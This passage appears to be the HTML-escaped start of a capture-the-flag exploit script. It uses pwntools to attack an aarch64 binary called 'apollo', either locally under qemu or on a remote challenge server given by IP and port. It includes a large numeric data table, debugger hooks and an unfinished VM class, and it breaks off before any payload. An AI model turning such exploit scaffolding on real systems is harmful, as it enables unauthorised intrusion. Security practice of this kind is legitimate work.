&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;DEBUG&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;IDA&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;process([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;qemu-aarch64&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;-L&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;-g&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;23948&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;apollo&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;process([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;qemu-aarch64&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;-L&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;apollo&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;8.140.179.11&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;13422&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ELF(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;apollo&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ELF(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;lib&#x2F;libc.so.6&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;ida&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;IDAManage(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;192.168.138.1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9945&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;isWork&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;IDA&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;ida.attachAndContinue()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;sendAndWait&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;IDA&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0.2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        p.send(c)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;s
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;VM&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    todo&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[]
&lt;&#x2F;span&gt;&lt;span&gt;    ops&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[]
